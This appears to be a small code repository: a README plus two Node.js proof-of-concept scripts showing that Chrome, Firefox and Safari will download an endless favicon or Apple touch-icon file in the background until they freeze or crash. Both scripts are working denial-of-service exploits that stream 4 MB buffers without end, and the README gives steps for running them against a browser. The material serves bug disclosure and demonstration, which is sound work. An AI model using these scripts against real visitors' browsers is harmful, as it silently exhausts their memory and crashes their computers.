├── README.md
├── exploit-ios.js
└── exploit.js
/README.md:
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1 | # Favicon Download Bug
2 |
3 | This repository demonstrates that browsers will download huge favicon and touch-icon files to the point that they crash and/or bring the computer to a halt - all in the background with no indication to the user that any form of download or networking is happening.
4 |
5 | (no spinner)
6 |
7 | I originally tested this with Chrome. People have pointed [Firefox](http://i.imgur.com/3zkPKD7.png) and [Safari](https://i.imgur.com/B2LeRy4.png) do this too, [IE](https://github.com/benjamingr/favicon-bug/issues/5) does not appear to be affected.
8 |
9 | [Chrome bug 500639](https://code.google.com/p/chromium/issues/detail?id=500639) [Firefox bug 1174811](https://bugzilla.mozilla.org/show_bug.cgi?id=1174811) (fixed)
10 |
11 | This is what it looks like before crashing on my computer (currently testing on travel laptop with 4gb ram):
12 |
13 | 
14 |
15 |
16 | Inspired by [a tweet](https://twitter.com/a_de_pasquale/status/608997818913665024) by [a_de_pasquale](https://twitter.com/a_de_pasquale).
17 |
18 | ### Running it
19 |
20 | 1. Install [io.js](http://www.iojs.org) (NodeJS works too)
21 | 2. Run: `node exploit.js`
22 | 3. Test your browser by visiting http://localhost:3000 (or if you have `process.env.PORT` set then that port)
23 |
24 | ### Running it for Apple Touch Icon
25 |
26 | 1. Install [io.js](http://www.iojs.org) (NodeJS works too)
27 | 2. Run: `node exploit-ios.js`
28 | 3. Test on iOS by visiting http://ip-of-computer:3000 and tapping on the share icon (or if you have `process.env.PORT` set then that port)
29 |
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/exploit-ios.js:
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1 | require("http").createServer(function(req, res){
2 | var ip = req.headers['x-forwarded-for'] ||
3 | req.connection.remoteAddress ||
4 | req.socket.remoteAddress ||
5 | req.connection.socket.remoteAddress;
6 | if(req.url.indexOf("favicon.ico") === -1
7 | && req.url.indexOf("touch-icon.png") === -1) return res.end("Hello World");
8 | (function poc(i){
9 | res.write(new Buffer(1 << 22));
10 | setImmediate(poc, i+1);
11 | console.log(ip + " - " + req.headers['user-agent'] + " - Writing Poc", i);
12 | }(1));
13 | }).listen(process.env.PORT || 3000);
14 |
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/exploit.js:
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1 | require("http").createServer(function(req, res){
2 | if(req.url.indexOf("favicon.ico") === -1) return res.end("Hello World");
3 | (function poc(i){
4 | res.write(new Buffer(1 << 22));
5 | setImmediate(poc, i+1);
6 | console.log("Writing Poc", i);
7 | }(1));
8 | }).listen(process.env.PORT || 3000);
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